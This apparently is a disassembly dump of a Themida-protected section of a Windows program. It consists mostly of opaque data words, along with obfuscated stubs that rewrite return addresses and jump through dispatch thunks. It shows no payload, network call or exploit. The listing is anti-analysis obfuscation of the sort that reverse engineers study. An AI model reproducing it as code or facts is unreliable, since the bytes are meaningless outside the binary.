dd 693555C3h, 8D8993FDh, 6143229h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 2CC35040h, 303502C5h, 9E5B5FB3h
dd 4DE68166h, 0D995BF7Ch, 85C77083h, 614064Dh, 7040h, 8F0Fh
dd 85C70000h, 6142671h, 0
; ---------------------------------------------------------------------------
jmp loc_5A7F67
; ---------------------------------------------------------------------------
db 0A6h, 91h, 8
dd 815F79BEh, 27F27AA9h
; ---------------------------------------------------------------------------
xchg eax, edi
leave
xchg eax, esp
loc_5A7F67: ; CODE XREF: Themida_:005A7F54j
push dword ptr [ebp+6140591h]
push 0
push eax
call sub_5A7F78
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A7F78 proc near ; CODE XREF: Themida_:005A7F70p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5A7F78 endp
; ---------------------------------------------------------------------------
inc eax
fisttp dword ptr [esi-0D17B08Ch]
mov ebp, 95FF2A75h
popa
and edx, [esi+eax]
push 0
push ebx
call sub_5A7FA3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A7FA3 proc near ; CODE XREF: Themida_:005A7F9Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5A7FA3 endp
; ---------------------------------------------------------------------------
test eax, 0F5924D0Ah
cli
mov edx, [ebp+61405B1h]
push 0
call dword ptr [ebp+6141169h]
mov eax, eax
jmp short loc_5A804A
; ---------------------------------------------------------------------------
db 7Ch
; ---------------------------------------------------------------------------
imul ebx, [edi-7DD7C688h], -38h
mov ds:0CAB442Dh, eax
retn
; ---------------------------------------------------------------------------
db 0DDh, 48h, 35h
dd 3FD611EEh, 30C95BD0h, 0C8DB0A67h, 39895A02h, 0A99BD9EFh
dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 74CB6E0h, 8D39F0Ch
dd 3AD078A0h, 0D7163F6Ch, 0C72EB997h, 6EAD0BC5h, 0B90DCACBh
dd 3CF005E4h, 1DF76863h, 0DE91846Ah, 5A46ADB3h, 5A23F555h
dd 0A6F02F80h, 0D92CE4DAh, 27F937EAh, 5378E964h, 8C51DD62h
dd 0F6A5653h, 0DA97A76h
; ---------------------------------------------------------------------------
push ss
xchg eax, ebp
loc_5A804A: ; CODE XREF: Themida_:005A7FC9j
lea ecx, [ebp+619F520h]
push 0
push edx
call sub_5A805B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A805B proc near ; CODE XREF: Themida_:005A8053p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5A805B endp
; ---------------------------------------------------------------------------
or [esi], bl
aas
sub [ebx+142E319Dh], cl
push es
sbb dl, 45h
mov [ebp+6143229h], ecx
push 0
push ebx
call sub_5A8089
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A8089 proc near ; CODE XREF: Themida_:005A8081p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5A8089 endp
; ---------------------------------------------------------------------------
add eax, 1CF9EA23h
xchg dh, dl
pop ebx
mov esi, 545F36A3h
sub [ebp+61410B5h], ecx
mov dword ptr [ebp+614064Dh], 5CB8h
mov si, bx
mov dword ptr [ebp+6142671h], 0
cmc
push dword ptr [ebp+61402E1h]
mov [ebp+61423D9h], eax
call dword ptr [ebp+6142361h]
push 0
push edx
call sub_5A80E1
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A80E1 proc near ; CODE XREF: Themida_:005A80D9p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5A80E1 endp
; ---------------------------------------------------------------------------
db 2Ch, 55h, 77h
; ---------------------------------------------------------------------------
mov bl, 0F4h
sub eax, 0FF006ABFh
xchg eax, ebp
imul edx, [ecx], 0C08B0614h
jmp short loc_5A8121
; ---------------------------------------------------------------------------
dd 0D1910119h, 0EE3D7FEAh, 0CFF61C49h, 4299AF88h, 51F4B7A8h
dd 98F1E345h, 0E4F6A16h
db 72h
; ---------------------------------------------------------------------------
loc_5A8121: ; CODE XREF: Themida_:005A8102j
jmp loc_5A8148
; ---------------------------------------------------------------------------
dw 0EA4Fh
dd 674Ah, 243h, 6 dup(0)
; ---------------------------------------------------------------------------
loc_5A8148: ; CODE XREF: Themida_:loc_5A8121j
jmp loc_5A8D59
; ---------------------------------------------------------------------------
push 619F710h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619F7F9h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619F984h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619FA4Dh
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619FAF2h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619FCFEh
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619FDAFh
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619FECCh
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619FFC2h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
db 0A1h
dd 2236076Bh, 0A5B98AE0h, 2A3E0F5Bh, 0ACC091D7h, 3247185Ah
dd 0C66A08Dh, 94DC273Bh, 1A56AFC3h, 9ECA3549h, 8A266BCDh
dd 3046EEF6h, 0D9CB1B79h, 45894226h, 9DDAEBAh, 0AA2DF0F1h
dd 0F9F78B27h, 0E1722A2Ch, 2A331CA8h, 0C5563410h, 29E8800Ch
dd 867A3041h, 1EE72BE4h, 369A9952h, 93D82A30h, 29E07410h
dd 0CA5B3041h, 0F879FD91h, 6FA74855h, 3548h, 1194A00h
dd 68A13D00h, 0ED341020h, 0D20703B5h, 0F2836E29h, 5215AD39h
dd 83E93041h, 74DB7EE3h, 34886FA7h, 4B22F7CCh, 0B80C4265h
dd 0F42D6E27h, 0E3C7h, 26D9C900h, 0C1458942h, 4BB4F8B1h
dd 0C76B7E76h, 0F3844B0Ah, 2D09F63Ah, 2D3CFD91h, 5EEF802Ah
dd 48E4318Dh, 87782A2Ch, 36CA1EE1h, 0CC377B34h, 59DA13A4h
dd 2F41C216h, 0B8FC3576h, 64682147h, 3CC5194Ch, 40BC502Ch
dd 0AE3F2A2Dh, 40BB4FEBh, 0AD3E2A2Dh, 0ECBD591Ch, 61341066h
dd 0C4BCFFD0h, 0E505FC7Ch, 1A1E57D0h, 0A23E0102h, 3A28A540h
dd 0D06400C3h, 4B2A2F3Ch, 0E36629BAh, 901B58EBh, 2F4C60F4h
dd 124ADB2Ah, 316A34D2h, 885919EDh, 17E09274h, 0E0BA6296h
dd 0AA76C43Fh, 0E9000009h, 6A7E4F23h, 0ED01D298h, 72865713h
dd 0F408D98Fh, 7A8F6012h, 541EE845h, 0DC946F83h, 620EF70Bh
dd 0E6827D91h, 0D26EB315h, 3046F13Eh, 0D91363C1h, 6074452Dh
dd 0B206C99Fh, 84E41B54h, 40F98ACBh, 0F745C6FFh, 32CE0119h
dd 2A2CF99Eh, 7FC9021h, 0DE6FB069h, 20467F1Bh, 7A0B3410h
dd 139D35C1h, 0B713041h, 3663066Bh, 0BC566FA7h, 58000000h
dd 894226D9h, 53AEC145h, 6DC18415h, 0DA1BD494h, 5FAC38A1h
dd 0D92A2C06h, 0A9C13F26h, 5B1EAFF0h, 0F6272B63h, 0B44DE2DCh
dd 29BAFBB4h, 0A45B6FF0h, 0EF070BC4h, 0BE8F2BEEh, 0C3341103h
dd 0CA1E6132h, 0FAFE3739h, 9B1EE1E2h, 41F76BFFh, 6602FD30h
dd 86F932C3h, 28B379EAh, 985BEC3Ah, 0DB771D15h, 5625E61Eh
dd 452DD91Dh, 0CCA66074h, 0BA718003h, 80CE49E0h, 8C1h
dd 67383AD2h, 0EABBAF53h, 6F402AD6h, 0F1C2A65Bh, 784929DDh
dd 35D1BE63h, 0AB586C3Dh, 25E0F4C5h, 99667A4Bh, 579CFECFh
dd 46F127BBh, 0F444A230h, 74452DD9h, 40C69F60h, 9AD6D78Bh
dd 18A94C93h, 0D968B687h, 45894226h, 9DDAEBAh, 0AA2DF0F1h
dd 2CF97A0Eh, 2B64F52Ah, 783D35B8h, 91C81BB2h, 14AD3972h
dd 99341054h, 0F40B4F08h, 708FA374h, 16B235F8h, 30412582h
dd 7371C5FDh, 672DB504h, 0E37713D6h, 6630413Ah, 0A7339CD5h
dd 0B9F6662Eh, 85F176Bh, 5DA071F7h, 0BB74FC09h, 2FD417Ah
dd 5C049834h, 0F687AB7Fh, 8720AC65h, 19AB7F5Bh, 88CC85EDh
dd 0A75CF07Ah, 0E9CD10C9h, 2A8EDD8Dh, 84E41B4Ch, 0A3956DC1h
dd 7F5B7307h, 0D465F6ABh, 0DFD71A9Bh, 0B34067EDh, 5315EA4Ah
dd 0BA4589C2h, 0CC69F5AEh, 3AAB7F74h, 0D13F8D85h, 64361536h
dd 33CCD9Bh, 9F60F76Fh, 1BE4F8C9h, 7890944Dh, 2718B477h
dd 5AB2BD8Fh, 450E06C9h, 52B650ECh, 6034B5EEh, 0E8844748h
dd 0ACC9829Bh, 0B844FD8Eh, 0A8DA731Fh, 5F1850B1h, 0CB84E41Bh
dd 7328BC58h, 12A3A8DAh, 78E2849Ah, 0BBA6C026h, 0E8409118h
dd 4A10Bh, 0FD910D00h, 602A2CF9h, 0BF78FA0Ch, 21B9457Eh
dd 842A2C0Ah, 800FF58Ch, 1CE94834h, 0C95A9B54h, 74D40490h
dd 0C65E2A2Ch, 982A2D6Ch, 20BC7F80h, 3410905Bh, 0B2B84ADEh
dd 5E27B8F9h, 0E6AC4731h, 36A5F36Eh, 5D000007h, 0DEF2C3AFh
dd 61754624h, 0E6FACB9Fh, 687C4D1Bh, 0EE03D49Eh, 0C8AA5CC9h
dd 5020E3F7h, 0D69A6B7Fh, 5A0EF105h, 46E22789h, 3046F2B2h
dd 0D97FCF2Dh, 85894226h, 0DA96C6Dh, 3416F23Ah, 2848BB0Fh
dd 669A2E6Fh, 0D10A4B04h, 0F31CED7Eh, 4849611Dh, 99D13185h
dd 9051ED60h, 0F53A2A14h, 633E8C64h, 0C6DBDB2Ch, 8C1A09CEh
dd 7BB40184h, 9B5E5F77h, 38FA6DA3h, 81BA9C42h, 0C9378B0Eh
dd 3FDC68A1h, 0CAE37CCCh, 0DE227639h, 65B21EE5h, 0EC7DF38Fh
dd 50B9F233h, 7033344Ch, 56D99EDh, 0E7B540CCh, 0AB3CDD88h
dd 0FD6B94E8h, 0E9F1E92Ch, 9A369C13h, 7689CD06h, 150E5A4Bh
dd 0FB8CA29Eh, 0D4BA5F32h, 7BC9444Fh, 66Dh, 0BB8CE626h
dd 3E0F5BA7h, 0C394D62Ah, 451652AFh, 0CC9DD531h, 0E12502B7h
dd 57ACC091h, 0D1344819h, 45BACE9Fh, 0ABF05223h, 46F37B0Fh
dd 50A0FE30h, 3D000119h, 101F08A1h, 43FC8D34h, 0AF6800FFh
dd 1ED79B6Bh, 8B4426DAh, 9A294D63h, 4B5B343Ah, 0F1DC6D60h
dd 0B6CED99Dh, 0BD56F2B5h, 403A2422h, 5C1553ACh, 5DB98A1Bh
dd 2A2D16C5h, 2D167B0Fh, 34354D2Ah, 1002D571h, 13673417h
dd 0EF427BEFh, 8219A55Eh, 0CE3046E1h, 3046E22Fh, 79B37BAh
dd 82241311h, 8B74B8F1h, 3FB314DDh, 910C195Eh, 5C843h
dd 3141CB00h, 0B4B64C60h, 3931CFE3h, 0BBAD5468h, 4230D6EAh
dd 0CAA75C71h, 5165363Ch, 0D9EDBEB2h, 5F73442Ch, 95F7C8A0h
dd 0F420B450h, 3D9B3046h, 119EDh, 0E7C2BA3Dh, 0BB147620h
dd 5023AFE8h, 0D93417B5h, 0B44B8F48h, 0F10FE3B4h, 1EE135F8h
dd 2FE87C18h, 0D2633046h, 5B9F0841h, 0DFF3C4A4h, 1C8F4820h
dd 0CE200324h, 0C3FC8CA0h, 62B6807Fh, 5FF3CFA1h, 0E930469Dh
dd 57985119h, 0C46023B4h, 30469E30h, 0D0891AABh, 5E096DD1h
dd 2D42C4A1h, 9CDD96D2h, 8011520Bh, 0EE186CAFh, 518ACB84h
dd 0ACC07417h, 1B4676Fh, 19690000h, 0E93D0001h, 5B9C551Dh
dd 0D82CAF22h, 0E27E4127h, 2A2CF94Eh, 7B0740D1h, 3410238Ah
dd 2CC05CDFh, 0AF30411Fh, 192E51Eh, 1F22BC48h, 4BB83041h
dd 1EC357F3h, 0B5463041h, 0DC276B24h, 9FF7D4EDh, 0FE8FF815h
dd 68000145h, 0EEC46EAFh, 2F93E288h, 15486037h, 702941C1h
dd 27BF532Fh, 0B9493041h, 14B7F8B1h, 0DB2FF283h, 970A4327h
dd 24510AFBh, 1DEE7F3Ah, 976FF609h, 4874ADBh, 2D04D468h
dd 0F894572Ah, 2A2D0464h, 8CC556E7h, 4820DF23h, 8A8BA377h
dd 35422BC7h, 36C73410h, 3459F17Dh, 16EB3041h, 28B9B14Fh
dd 94D42B6Fh, 0D99DB3DBh, 9DD93F91h, 0A75331D4h, 44246Fh
dd 19260000h, 0BA3D0001h, 4E22E337h, 0E4785495h, 672A2CF9h
dd 0D8119DD6h, 9D34101Fh, 43C6490Ch, 411413A7h, 29059630h
dd 30411395h, 0EB7D8418h, 2CB8215Ah, 30411394h, 0FD640268h
dd 6FA7365Ah, 0A04Dh, 26D94F00h, 4FD0449Bh, 50E194C7h
dd 0A3CA398Dh, 0C37C0D5Dh, 6DE04982h, 5A1E2B75h, 3A739849h
dd 0A96210F6h, 15CE9A65h, 693A2ED1h, 2CCDC00Dh, 2543BC2Ah
dd 67688054h, 39CD21A4h, 63F8039h, 1482837Ah, 94720634h
dd 0B5BB4ADEh, 0F90D6124h, 7294A879h, 50443700h, 0EA65E6AEh
dd 3BC9Ch, 3D35D700h, 0C0AA586Ch, 4525DBEFh, 0C7A16074h
dd 4E24E2F6h, 0D6B3687Dh, 5D714230h, 0E5F9CAA6h, 6B7F5020h
dd 0A103D494h, 0F62CC05Ch, 51AF3046h, 452DD901h, 26DD3174h
dd 1750914Ah, 6B3C2CD3h, 4226D91Dh, 7CBA4589h, 2CF94CE0h
dd 0AD3ECF2Ah, 0F9918EDCh, 432A2C79h, 2A2D79ABh, 0A164657Dh
dd 79EE821Eh, 0E0712A2Dh, 19EB58A8h, 72AB5A91h, 3E9063FFh
dd 5993417h, 24DD6EFAh, 44070820h, 8768C9C1h, 23A36CFh
dd 8F23CCE9h, 36C2FB77h, 3A29FDE9h, 996DC144h, 0F569FDD9h
dd 53E42A3Ah, 0CC33C71Ah, 0D420B9Ch, 3AE0B5D4h, 30B71BFh
dd 84880000h, 0F9091DEEh, 748CA071h, 0F01125F6h, 7393A778h
dd 0E4192EFFh, 22F37F87h
dd 0AA7BF50Eh, 30016F96h, 0B485E31Ch, 0DD710D52h, 603046F6h
dd 26D9B202h, 0BA458942h, 0F109DDAEh, 0A8912DF0h, 0CD34102Ah
dd 5FF7833Ch, 33304129h, 25C8A9CDh, 186FA748h, 3Bh, 1191Ah
dd 5317E93Dh, 0AD20599Ah, 101FD811h, 0FD099D34h, 0EA7BBC75h
dd 140DA531h, 9CE13041h, 7CB5BB48h, 40E38EE8h, 336FA736h
dd 0D0h, 8D21BD40h, 10304107h, 0D9C8467Fh, 45894226h, 0F8AB0AC1h
dd 5900FEAh, 0F448BB74h, 62A35C0Eh, 4E1AE529h, 0BAAE5195h
dd 0F4AEA6E9h, 7575C12Fh, 1647008h, 0F98AF090h, 8E069A36h
dd 0F8892A2Dh, 99E633BFh, 8D722A2Ch, 9F60ADBh, 0B7489C5Fh
dd 7EB7F8B1h, 0F8F91115h, 0BA409935h, 0B4453410h, 0F6F70FE3h
dd 0A35CB033h, 0D26602C5h, 4D304199h, 0FEF783BCh, 833A2850h
dd 2BDB2FF2h, 0CF308447h, 6CFD6B96h, 0B83972B3h, 471062A4h
dd 0E0BA3F08h, 0EE80CE49h, 0A5000001h, 263A0B67h, 0A9BD8EDCh
dd 2E421357h, 0B0C495D3h, 364B1C56h, 1062A481h, 98D82B3Fh
dd 1E52B3C7h, 0A2C6394Dh, 8E2A6FD1h, 3046F7FAh, 0D9C71775h
dd 6074452Dh, 0AAF8C99Fh, 3D000119h, 102068A1h, 0BAD5CD34h
dd 0D0394922h, 46D72A63h, 0ED69018Dh, 0D73D3041h, 102FD29Fh
dd 0EA226FA8h, 24000000h, 894226D9h, 0EEB1C145h, 0CC056B9Ah
dd 68AD763h, 0F10E2A2Ch, 0E063A677h, 2CFDB044h, 619A2B2Ah
dd 0CD86E21Dh, 0EDB0B1C9h, 48016999h, 0D85BCE07h, 0FE25B955h
dd 17A82A2Ch, 2DF952DEh, 85C3410h, 7BBC75FBh, 164F1BE7h
dd 1B6F32C3h, 8BCC85E5h, 0E5FDD152h, 0AB8521E4h, 0AE3A27E9h
dd 65A1Dh, 902CAF72h, 2A2F79FCh, 34B5EE7Fh, 7C31F9F1h
dd 0C9B1C64h, 5F0CB6D4h, 92CB6C51h, 49B7B84Eh, 0FA40E921h
dd 6C45BA13h, 51C912DBh, 7BF6E0BAh, 0F82Dh, 1719B00h, 84E61C30h
dd 9619FB3h, 8BDD2438h, 1260A6BAh, 9AF72C41h, 2135066Ch
dd 0A9BD8EE2h, 2F43145Ch, 65C798D0h, 0F8F08420h, 0D6B3046h
dd 0EBB2AABDh, 0DF730FACh, 5A2A2DDDh, 0FF3791C9h, 9670B4EDh
dd 74C80BDCh, 60A4DD8Bh, 0B206C99Fh, 5FE0194Fh, 4226D911h
dd 95D52B7Fh, 0F9629BDCh, 4D1E4AB5h, 9D606179h, 16F22A01h
dd 689B2F34h, 4377D008h, 6C00E0Ah, 8778BC75h, 3FC10E1h
dd 15CEA462h, 0FE8A43D4h, 8FF7E40Ah, 48016F94h, 0B26BFD04h
dd 5DD5936Eh, 76942F47h, 66521FE1h, 1D503BCCh, 556AFE9Ah
dd 54E59176h, 78EF871Bh, 0FC10E187h, 0AAA26503h, 0EC46A487h
dd 7EE7200Eh, 619EC73Ah, 95BD7607h, 8F70E77Fh, 0BF408D9h
dd 0C3A612B6h, 0A93AE500h, 8E857DF0h, 3BAD50Ch, 1269B7F0h
dd 0A4000000h, 0EE8AB650h, 91762C5Ah, 0FAB344D5h, 0AB0280B9h
dd 3F33D91Bh, 0ABBD4286h, 1957AEF2h, 89E71C60h, 0F87A8CD0h
dd 670BFB3Fh, 0D1976AAEh, 3E2CD418h, 0A9C14185h, 8950EAF0h
dd 4BF57E0h, 1000000h, 0E8835FF8h, 24048704h, 613685Ch
dd 1C890000h, 4D6E6824h, 4890000h, 68575024h, 182B30F0h
dd 0D5C7815Fh, 0F75DAA39h, 0F2F781D7h, 898C3360h, 0C3895FF8h
dd 72FC6858h, 24890000h, 24048324h, 83685804h, 89000066h
dd 3481241Ch, 5215E724h, 8408F02h, 0E7087081h, 8B025215h
dd 89572404h, 4C781E7h, 83000000h, 3C8704C7h, 1C8B5C24h
dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0FB4555E9h
dd 388D00FFh, 9F9669DCh
; ---------------------------------------------------------------------------
std
loc_5A8D59: ; CODE XREF: Themida_:loc_5A8148j
mov eax, 61A00DFh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 65BDh
dd 1E4E1B20h, 0ACCF09B5h, 16502E9Ah, 31185D92h, 7CFD442Bh
dd 9C8C1639h, 623F04FEh, 60F62271h, 0A3F85982h, 29084B3Ah
dd 7E2F3F73h, 4E286439h, 99284E08h, 9A2B4FF6h, 0E8322BF7h
dd 37B819FBh, 0CCAD15D6h, 0D2D0721h, 0FE5E493Dh, 32A10A6Dh
dd 0D2AE26BEh, 0AD2E7880h, 2D2E7A96h, 0ADAE709Dh, 5EDD1020h
dd 10E83422h, 0CE000000h, 107EA68Ch, 5538BCB6h, 3A604BCBh
dd 0E87A489Ch, 12h, 0A48F515Eh, 35A14728h, 6D0E901Dh, 27042A5Ah
dd 73B104C9h, 1DB15F59h, 6542C781h, 680000h, 0B4000000h
dd 0F18A5E8Ch, 0F371C8Bh, 0C381C2B7h, 6F25DBC6h, 8840Fh
dd 880F0000h, 2, 0C381D38Bh, 45BE814Ah, 5820Fh, 0BBB80000h
dd 810BA9E2h, 4CBB6CEBh, 6E94Dh, 0A76E0000h, 3EA4D530h
dd 25BA6653h, 37048FEFh, 0FDC18166h, 39EE8179h, 6076C431h
dd 537380B9h, 14E97Fh, 3A090000h, 9B86277Bh, 0D945477Ch
dd 43ACADB1h, 7DF0ACCCh, 816172C2h, 0C43135C6h, 0D9C48076h
dd 9B80FE81h, 850FFFFFh, 0FFFFFF7Ch, 0C4E28166h, 0C4E97Eh
dd 0F7020000h, 9CD731C9h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h
dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh
dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
dd 9D744700h, 99E0E312h, 5Eh, 2 dup(0)
dd 0ECE90000h, 68000015h, 61A058Eh, 0FA7A92E9h, 69468FFh
dd 88E9061Ah, 68FFFA7Ah, 61A077Fh, 0FA7A7EE9h, 8B668FFh
dd 74E9061Ah, 68FFFA7Ah, 61A0947h, 0FA7A6AE9h, 0A1E68FFh
dd 60E9061Ah, 68FFFA7Ah, 61A0AD1h, 0FA7A56E9h, 0B9E68FFh
dd 4CE9061Ah, 68FFFA7Ah, 61A0C4Dh, 0FA7A42E9h, 0DC768FFh
dd 38E9061Ah, 68FFFA7Ah, 61A0EE2h, 0FA7A2EE9h, 101668FFh
dd 24E9061Ah, 68FFFA7Ah, 61A10DAh, 0FA7A1AE9h, 125068FFh
dd 10E9061Ah, 68FFFA7Ah, 61A1379h, 0FA7A06E9h, 15C168FFh
dd 0FCE9061Ah, 68FFFA79h, 61A16C6h, 0FA79F2E9h, 239C40FFh
dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h
dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh, 0EBAC9298h
dd 0C5C0580Bh, 0BD40175Eh, 2223467Eh, 9145507Fh, 65717E2Ah
dd 0BA280456h, 0F1F7CE16h, 0D15FF002h, 0C8E32F88h, 1FB7B31Fh
dd 51E4EAF0h, 0BF57E565h, 0C3A5EB97h, 48580644h, 7885318Ah
dd 0C4AAB059h, 0D8580644h, 176C18B0h, 0DD4D575h, 83696F37h
dd 97580645h, 7B4226Fh, 82D4035Bh, 909ACBC0h, 0F7C4F8D9h
dd 0CAF27DFh, 41700860h, 37DBh, 4A17F200h, 0F9033287h
dd 16A32E8Bh, 327A126Ah, 0E503692Ch, 0C70F3757h, 313F9FFh
dd 4A275806h, 6B9A3287h, 2D9BB01h, 0C2E45806h, 0D65A0B80h
dd 0CEA4F8D9h, 0BB000000h, 9442C412h, 8B237B27h, 0B805D2DFh
dd 0E4D7FF0Ch, 0DD40C59Ch, 33E39521h, 24D0EDE6h, 2B339DCCh
dd 0EA775D63h, 0AE8B51F1h, 8EE69227h, 8D2CA9F6h, 3883535Eh
dd 0EEF4D0E6h, 795D51F1h, 0C313F042h, 0EFE3B0F8h, 27339DCCh
dd 0C7CD15B9h, 57E5088Ch, 0E4C0123Ah, 0BBF0B76h, 8F5BF35Eh
dd 7DA9AFF7h, 0D5DFAE6h, 7261A730h, 0AF479F4Bh, 0D502CF17h
dd 1EB996E8h, 22CEEBEAh, 6AC98B0Bh, 0FC94B1F4h, 880E8664h
dd 250F3894h, 132817h, 833CA000h, 3E7F5431h, 0F8C30FECh
dd 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h, 411E7049h
dd 0F9D62897h, 808CDEDDh, 0ED0CF2F8h, 2520580Bh, 874A17BEh
dd 0FF2E8632h, 88DAE3F4h, 3E902BABh, 0F9A51385h, 2E8ABB1h
dd 0D9B657E5h, 0BF17C3FAh, 53357B27h, 0D8580603h, 411BDFEh
dd 0CB3DE9D2h, 0FFC62B67h, 0BF8CBDDDh, 0DDDEF414h, 0F441D931h
dd 42AEDDDEh, 0F8D9D723h, 0D1DBh, 4F17F200h, 0F1E86349h
dd 204F7751h, 4EFAC115h, 959A6F46h, 1BDFBD4Bh, 12F6E1ECh
dd 374EFABFh, 0E3CDF514h, 98E57DB6h, 7BD37F40h, 15F137E3h
dd 8351F23Bh, 0F39F1CB6h, 75616C9Bh, 0FB521A87h, 0C0585B58h
dd 7645916Eh, 0A050BECAh, 0A8175258h, 6C4357E5h, 7FA2E6C1h
dd 0D85C8B4Fh, 0D59168B0h, 2B71E58h, 65A7FE56h, 3C4C7B2Bh
dd 64EF260h, 0FB7FE500h, 0E32B535Dh, 0AAFCC116h, 0D5B30ACDh
dd 38937DC9h, 22707E68h, 0A6000012h, 5A378936h, 15F24479h
dd 0CFACFEBDh, 8461B306h, 0DF186A53h, 0BD00D7D9h, 76438E6Bh
dd 2E914724h, 0E4D7FFDCh, 0F8FE8692h, 580BEE12h, 12C42B26h
dd 0D9B0F8C5h, 0C36B038Eh, 223261DDh, 5C759145h, 0C159B15Dh
dd 0C412B66Fh, 0B70E3E38h, 428F0711h, 4A922A8Fh, 0C1967C82h
dd 82AA51F2h, 0FADCE953h, 40926FC1h, 656B337Bh, 51F2C27Fh
dd 0D23C6B93h, 58AA11C5h, 0C634E33Ah, 3D0AD21Ah, 0AFF32299h
dd 57E5DB64h, 15690A32h, 0AF902D32h, 5CA44CBAh, 3CB7498Fh
dd 0D23CB5D7h, 0A7ADDC74h, 843A6AA1h, 0B0F82055h, 341A20E8h
dd 4855A53Bh, 3AB49A20h, 0A0C855A5h, 32FF0771h, 176F1BA0h
dd 0B70DEE8h, 0EC44F0CBh, 39060C54h, 0B5B99BCh, 8CE9BE3h
dd 0B28961B3h, 6BE7F07Ah, 0CFDA0916h, 0D2D6B407h, 733AF41Fh
dd 11377B89h, 4B910000h, 8E452274h, 0D200DD2Fh, 1BBA97E9h
dd 686F4C9Eh, 0EECA0355h, 56A815C2h, 0F615879h, 0C719A632h
dd 7DCFECEAh, 0FDE3E971h, 11580BEEh, 0C412AF16h, 0D13F4BF7h
dd 0BB18E52Dh, 0C7CDD302h, 57E51588h, 0ECC4163Eh, 0D403B61Fh
dd 6CB45CCAh, 0F940F766h, 39E50D5Dh, 1A2211F3h, 58FA1C5Eh
dd 5FE5D2A9h, 0A9AB09C6h, 9A46775Ch, 0BEA71342h, 40F2C57Bh
dd 4Dh, 784F1757h, 7A925651h, 0FAE066E4h, 0E51F2E2h, 1E668FE6h
dd 9EA106BFh, 47F7656Fh, 0D48EF9FFh, 749C57E5h, 96795F2Ch
dd 6B5AA90h, 0FE96BE58h, 0B5B296ACh, 9B3B5806h, 0E7F1CE20h
dd 4D242CD8h, 0C73A9267h, 28346342h, 1075h, 44A5137Fh
dd 29812D8Eh, 0B4814991h, 95ED9922h, 0EAC62266h, 8EB657EBh
dd 5D5C7946h, 242A59B1h, 0EA3C7F57h, 2B924512h, 0EDF8277Fh
dd 1A26D2E9h, 0E5BC04ACh, 77742E9Dh, 2083723h, 5EB5BFCh
dd 75BDE55Eh, 0D7DD2EA8h, 5E25EAF1h, 0FD45DD05h, 7860A630h
dd 0AB03AF47h, 478F6C7Ch, 4EBCC874h, 0F5545AA2h, 0EB641913h
dd 0E9CDE5C3h, 0A28C3276h, 100094h, 0AB14C800h, 66577C59h
dd 209B3714h, 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh
dd 69469821h, 21FE506Fh, 0A8B406B5h, 0F0341A20h, 4D48580Bh
dd 0E7F7D9E6h, 0F7D51F1h, 5811175Fh, 8057EBEBh, 0EBE61EB3h
dd 738A36CEh, 6CEAEDFBh, 45740CDAh, 7A5199C1h, 4FCD1FFh
dd 0D9E4EF01h, 0D8E1F441h, 0D6A3A9h, 0C49169BBh, 6F7AA912h
dd 9CA85467h, 723A822Eh, 10D2D19Bh, 76C37023h, 0EA2E5D62h
dd 5DFFE4ABh, 615B3961h, 0C389019h, 0F6F1422h, 83590000h
dd 0C60DEA3Ch, 0AC8A5F7h, 53825FB1h, 0A0371466h, 2692CB1Dh
dd 1E704D8Ah, 0D7299041h, 8FE1DEFAh, 459724B2h, 0C5ABB139h
dd 0D9580BF0h, 0C41277DEh, 983E4BF7h, 0C30EDB23h, 902FA9F6h
dd 0E8EAF761h, 0B91A27D3h, 82E65804h, 15A62CC0h, 7111257Dh
dd 0CF2F8C0h, 9E51F1E8h, 0F1E7B298h, 0D89EC651h, 501581B0h
dd 0AEFEEDEDh, 90Ch, 8D4A17C5h, 116D8430h, 275FD09Eh, 0F6002FC7h
dd 8A90D888h, 57ECA5D4h, 21983906h, 89B801D4h, 0C895DD05h
dd 8E65AD0Eh, 7EC43E1Fh, 8F9FCEC6h, 4F9724B2h, 19B8187h
